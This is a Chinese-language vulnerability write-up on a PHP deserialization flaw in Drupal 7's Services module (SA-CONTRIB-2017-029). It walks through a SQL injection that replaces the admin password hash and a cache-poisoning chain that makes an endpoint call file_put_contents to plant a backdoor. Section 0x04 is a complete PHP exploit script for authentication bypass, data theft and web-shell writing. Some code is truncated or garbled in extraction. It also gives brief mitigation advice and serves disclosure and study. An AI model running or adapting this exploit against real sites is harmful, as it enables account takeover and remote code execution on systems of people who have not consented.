Drupal 7.x Service模块SQLi & RCE
在审计Drupal的Service模块的时候，检测到对 unserialize()函数的一次不安全调用。通过该漏洞，可以导致权限逃逸、SQL注入以及远程代码执行。
0x00 Service 模块在Drupal中，Service模块提供了API，开放了一些服务接口给外部程序。作为基础功能，允许任何人使用SOAP、REST或者XMLRPC向服务端发送、获取多种格式的数据。该模块在Drupal前150个最常用的模块之中，大约有45000个站点在使用该模块。
Service模块允许创建不同的endpoint，并且对不同的endpoint设置不同的resource。允许通过自定义的API与Web站点进行数据交互。例如，对于/user/login不仅可以通过JSON也可以通过XML进行访问。
请求包：
POST /drupal-7.54/my_rest_endpoint/user/login HTTP/1.1Host: vmweb.lanAccept: application/jsonContent-Type: application/jsonContent-Length: 45Connection: close{"username": "admin", "password": "password"}响应包：
HTTP/1.1 200 OKDate: Thu, 02 Mar 2017 13:58:02 GMTServer: Apache/2.4.18 (Ubuntu)Expires: Sun, 19 Nov 1978 05:00:00 GMTCache-Control: no-cache, must-revalidateX-Content-Type-Options: nosniffVary: AcceptSet-Cookie: SESSaad41d4de9fd30ccb65f8ea9e4162d52=AmKl694c3hR6tqSXXwSKC2m4v9gd-jqnu7zIdpcTGVw;expires=Sat, 25-Mar-2017 17:31:22 GMT; Max-Age=2000000; path=/; domain=.vmweb.lan; HttpOnlyContent-Length: 635Connection: closeContent-Type: application/json{"sessid":"AmKl694c3hR6tqSXXwSKC2m4v9gd-jqnu7zIdpcTGVw","session_name":"SESSaad41d4de9fd30ccb65f8ea9e4162d52","token":"8TSDrnyPQ3J9VI8G1dtNwc6BAQ_ORp3Ok_VSrdKht00","user":{"uid":"1","name":"admin","mail":"admin@vmweb.lan","theme":"","signature":"","signature_format":null,"created":"1487348324","access":"1488463053","login":1488463082,"status":"1","timezone":"Europe/Berlin","language":"","picture":null,"init":"admin@vmweb.lan","data":false,"roles":{"2":"authenticated user","3":"administrator"},"rdf_mapping":{"rdftype":["sioc:UserAccount"],"name":{"predicates":["foaf:name"]},"homepage":{"predicates":["foaf:page"],"type":"rel"}}}}0x01 Vulnerability
Service模块有个属性，可以通过改变Http头中的Content-Type/Accept字段，实现对输入输出格式的控制。默认情况下，允许以下格式：
application/xml application/json multipart/form-data application/vnd.php.serialized对于大多数人来说，最后一种格式并不常见。即，使用PHP序列化数据，测试如下：
请求包：
POST /drupal-7.54/my_rest_endpoint/user/login HTTP/1.1Host: vmweb.lanAccept: application/jsonContent-Type: application/vnd.php.serializedContent-Length: 45Connection: closea:2:{s:8:"username";s:5:"admin";s:8:"password";s:8:"password";}响应包：
HTTP/1.1 200 OKDate: Thu, 02 Mar 2017 14:29:54 GMTServer: Apache/2.4.18 (Ubuntu)Expires: Sun, 19 Nov 1978 05:00:00 GMTCache-Control: no-cache, must-revalidateX-Content-Type-Options: nosniffVary: AcceptSet-Cookie: SESSaad41d4de9fd30ccb65f8ea9e4162d52=ufBRP7UJFuQKSf0VuFvwaoB3h4mjVYXbE9K6Y_DGU_I; expires=Sat, 25-Mar-2017 18:03:14 GMT; Max-Age=2000000; path=/; domain=.vmweb.lan; HttpOnlyContent-Length: 635Connection: closeContent-Type: application/json{"sessid":"ufBRP7UJFuQKSf0VuFvwaoB3h4mjVYXbE9K6Y_DGU_I","session_name":"SESSaad41d4de9fd30ccb65f8ea9e4162d52","token":"2tFysvDt1POl7jjJJSCRO7sL1rvlrnqtrik6gljggo4","user":{"uid":"1","name":"admin","mail":"admin@vmweb.lan","theme":"","signature":"","signature_format":null,"created":"1487348324","access":"1488464867","login":1488464994,"status":"1","timezone":"Europe/Berlin","language":"","picture":null,"init":"admin@vmweb.lan","data":false,"roles":{"2":"authenticated user","3":"administrator"},"rdf_mapping":{"rdftype":["sioc:UserAccount"],"name":{"predicates":["foaf:name"]},"homepage":{"predicates":["foaf:page"],"type":"rel"}}}}查看源码，确实存在一个很隐蔽的反序列化漏洞。(services/servers/rest_server/includes/ServicesParser.inc)
'ServicesParserURLEncoded', 'application/json' => 'ServicesParserJSON', 'application/vnd.php.serialized' => 'ServicesParserPHP', 'multipart/form-data' => 'ServicesParserMultipart', 'application/xml' => 'ServicesParserXML', 'text/xml' => 'ServicesParserXML', ); }}class ServicesParserPHP implements ServicesParserInterface { public function parse(ServicesContextInterface $context) { return unserialize($context->getRequestBody()); }}如何利用呢？
0x02 ExploitationDrupal缺乏一款简单易用的反序列化小工具。通常情况下，service模块中存在大量的endpoint，它们都具备利用序列化数据与服务器交互的能力，这就使得他们都有可能成为潜在的攻击点。比如，通过用户提交的序列化数据进行SQL注入，并将结果回显在页面中，等等...
虽然/user/login是最常调用的endpoint之一， 本文主要实现针对这个endpoint的SQL注入攻击。在PHP反序列化启用的前提下，通过精心构造，甚至可以实现RCE攻击。
2.1 SQL注入/user/login的主要的功能是实现认证。为实现这个目的，Drupal利用内部API，通过用户名在数据库中查找对应的密码哈希值，并将此值与用户输入的密码进行比较。这就表明，我们输入的用户名会被构造成sql语句，通过Drupal内部的数据库API来执行。调用过程与下面的代码非常类似：
fields('base', array('uid', 'name', ...)) # Select every field ->condition('base.name', $username) # Match the username ->execute(); # Build and run the query对于反序列化漏洞，一般情况下，系统的崩溃是由于内部实现时存在bug，而不是通过提交常规的输入数据导致的。通常情况下API提供进行子查询的功能，在Drupal中通过 SelectQueryInterface来实现。
compile(connection, $queryPlaceholder); $placeholders[] = (string) condition['value']; $arguments += condition['value']->arguments(); // Subqueries are the actual value of the operator, we don't // need to add another below. $operator['use_value'] = FALSE; } }}如代码所示，在查询之前，查询语句未被检查，因此极有可能存在SQL注入。为了成功利用，用户输入的 $username:必须满足以下条件：
成功执行 SelectQueryInterface 成功执行 compile() 输入的string可控SelectQueryExtender是 SelectQueryInterface中仅有的两个对象（include/database/select.inc）。SelectQueryExtender对标准SelectQuery 对象进行了封装，其中的属性 $query 包含着之前提到的对象。当调用 compile()和 __toString()时，基类中的方法同时被调用。
query; } public function compile(DatabaseConnection $connection, QueryPlaceholderInterface $queryPlaceholder) { return this->query->compile(connection, $queryPlaceholder); }}所以可以将这个类作为一个“代理”，实现与其他类之间的交互。这就使得我们满足了第一个条件。
后两个条件，在DatabaseCondition这个对象中被满足（includes/database/query.inc ）。处于性能的考虑，其中有个属性 stringVersion，在调用过compile之后依然包含之前的string表达式。
changed || isset(this->queryPlaceholderIdentifier) && (this->queryPlaceholderIdentifier != queryPlaceholder->uniqueIdentifier())) { $this->changed = FALSE; this->stringVersion = implode(conjunction, $condition_fragments); } } public function __toString() { // If the caller forgot to call compile() first, refuse to run. if ($this->changed) { return NULL; } return $this->stringVersion; }}{C}
至此，触发SQL注入的条件都已经满足。最有效的利用方式就是，通过UNION查询将管理员的密码哈希值替换为我们自己的哈希值，实现成功登录。
# Original QuerySELECT..., base.name AS name, base.pass AS pass, base.mail AS mail, ...FROM{users}WHERE(name = # Injection starts here 0x3a)UNION SELECT..., base.name AS name, '$S$DfX8LqsscnDutk1tdqSXgbBTqAkxjKMSWIfCa7jOOvutmnXKUMp0' AS pass, base.mail AS mail, ...FROM{users}ORDER BY (uid# Injection ends here);也可以将数据库中的原有数据存放在其他字段中，比如，将管理员的签名替换为原始哈希值。
成功以管理员账号登录，并且可以查看数据库中的任何数据。
2.2 Remote Code Eexcution2.2 Remote Code EexcutionDrupal拥有一张缓存表，存储着序列化数据。Service模块也有两张表，存储着每一个endpoint、资源列表、所需要的参数、以及所调用的函数。
事实上，修改cache表，可以使模块调用任意PHP函数，这将会对系统产生巨大的影响。很幸运， DrupalCacheArray类刚好能实现以上功能。接下来的攻击就很简单了。
修改services_endpoint表中‘login’对应的resource字段，改为在服务器任意位置写入文件 访问/user/login，创建后门 恢复原有数据
为了不破坏endpoint，首先使用SQL注入获取原始数据，并仅修改特定字段。通过file_put_contents()成功创建后门之后，即恢复原始数据。
0x03 建议由于该漏洞的成功利用，需要知道endpoint的全路径，所以一定程度上减轻了危害。但 "application/vnd.php.serialized"默认情况下是开启的，所以在不使用的情况下，建议关闭该选项。
0x04 EXP
#!/usr/bin/php 'dixuSOspsOUU.php', 'data' => ''];$browser = new Browser($url . $endpoint_path);# Stage 1: SQL Injectionclass DatabaseCondition{ protected $conditions = [ "#conjunction" => "AND" ]; protected $arguments = []; protected $changed = false; protected $queryPlaceholderIdentifier = null; public $stringVersion = null; public function __construct($stringVersion=null) { $this->stringVersion = $stringVersion; if(!isset($stringVersion)) { $this->changed = true; $this->stringVersion = null; } }}class SelectQueryExtender { # Contains a DatabaseCondition object instead of a SelectQueryInterface # so that $query->compile() exists and (string) $query is controlled by us. protected $query = null; protected $uniqueIdentifier = QID; protected $connection; protected $placeholder = 0; public function __construct($sql) { $this->query = new DatabaseCondition($sql); }}$cache_id = "services:$endpoint:resources";$sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'";$password_hash ='$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd';# Take first user but with a custom password# Store the original password hash in signature_format, and endpoint cache# in signature$query = "0x3a) UNION SELECT ux.uid AS uid, " . "ux.name AS name, '$password_hash' AS pass, " . "ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " . "ux.pass AS signature_format, ux.created AS created, " . "ux.access AS access, ux.login AS login, ux.status AS status, " . "ux.timezone AS timezone, ux.language AS language, ux.picture " . "AS picture, ux.init AS init, ux.data AS data FROM {users} ux " . "WHERE ux.uid<>(0";$query = new SelectQueryExtender($query);$data = ['username' => $query, 'password' => 'ouvreboite'];$data = serialize($data);$json = $browser->post(TYPE_PHP, $data);# If this worked, the rest will as wellif(!isset($json->user)){ print_r($json); e("Failed to login with fake password");}# Store session and user data$session = [ 'session_name' => $json->session_name, 'session_id' => $json->sessid, 'token' => $json->token];store('session', $session);$user = $json->user;# Unserialize the cached value# Note: Drupal websites admins, this is your opportunity to fight back :)$cache = unserialize($user->signature);# Reassign fields$user->pass = $user->signature_format;unset($user->signature);unset($user->signature_format);store('user', $user);if($cache === false){ e("Unable to obtains endpoint's cache value");}x("Cache contains " . sizeof($cache) . " entries");# Stage 2: Change endpoint's behaviour to write a shellclass DrupalCacheArray{ # Cache ID protected $cid = "services:endpoint_name:resources"; # Name of the table to fetch data from. # Can also be used to SQL inject in DrupalDatabaseCache::getMultiple() protected $bin = 'cache'; protected $keysToPersist = []; protected $storage = []; function __construct($storage, $endpoint, $controller, $action) { $settings = [ 'services' => ['resource_api_version' => '1.0'] ]; $this->cid = "services:$endpoint:resources"; # If no endpoint is given, just reset the original values if(isset($controller)) { $storage[$controller]['actions'][$action] = [ 'help' => 'Writes data to a file', # Callback function 'callback' => 'file_put_contents', # This one does not accept "true" as Drupal does, # so we just go for a tautology 'access callback' => 'is_string', 'access arguments' => ['a string'], # Arguments given through POST 'args' => [ 0 => [ 'name' => 'filename', 'type' => 'string', 'description' => 'Path to the file', 'source' => ['data' => 'filename'], 'optional' => false, ], 1 => [ 'name' => 'data', 'type' => 'string', 'description' => 'The data to write', 'source' => ['data' => 'data'], 'optional' => false, ], ], 'file' => [ 'type' => 'inc', 'module' => 'services', 'name' => 'resources/user_resource', ], 'endpoint' => $settings ]; $storage[$controller]['endpoint']['actions'] += [ $action => [ 'enabled' => 1, 'settings' => $settings ] ]; } $this->storage = $storage; $this->keysToPersist = array_fill_keys(array_keys($storage), true); }}class ThemeRegistry Extends DrupalCacheArray { protected $persistable; protected $completeRegistry;}cache_poison($endpoint, $cache);# Write the file$json = (array) $browser->post(TYPE_JSON, json_encode($file));# Stage 3: Restore endpoint's behaviourcache_reset($endpoint, $cache);if(!(isset($json[0]) && $json[0] === strlen($file['data']))){ e("Failed to write file.");}$file_url = $url . '/' . $file['filename'];x("File written: $file_url");# HTTP Browserclass Browser{ private $url; private $controller = CONTROLLER; private $action = ACTION; function __construct($url) { $this->url = $url; } function post($type, $data) { $headers = [ "Accept: " . TYPE_JSON, "Content-Type: $type", "Content-Length: " . strlen($data) ]; $url = $this->url . '/' . $this->controller . '/' . $this->action; $s = curl_init(); curl_setopt($s, CURLOPT_URL, $url); curl_setopt($s, CURLOPT_HTTPHEADER, $headers); curl_setopt($s, CURLOPT_POST, 1); curl_setopt($s, CURLOPT_POSTFIELDS, $data); curl_setopt($s, CURLOPT_RETURNTRANSFER, true); curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0); $output = curl_exec($s); $error = curl_error($s); curl_close($s); if($error) { e("cURL: $error"); } return json_decode($output); }}# Cachefunction cache_poison($endpoint, $cache){ $tr = new ThemeRegistry($cache, $endpoint, CONTROLLER, ACTION); cache_edit($tr);}function cache_reset($endpoint, $cache){ $tr = new ThemeRegistry($cache, $endpoint, null, null); cache_edit($tr);}function cache_edit($tr){ global $browser; $data = serialize([$tr]); $json = $browser->post(TYPE_PHP, $data);}# Utilsfunction x($message){ print("$message\n");}function e($message){ x($message); exit(1);}function store($name, $data){ $filename = "$name.json"; file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT)); x("Stored $name information in $filename");}
0x05 附录
Drupal 安装模块时遇到的FTP问题
Drupal 7的Service模块及其API
Service模块中文社区
Services Project
Services - Highly Critical - Arbitrary Code Execution - SA-CONTRIB-2017-029
OAuth2.0
PHP反序列化
Drupal Vulnerability Details & Exploitation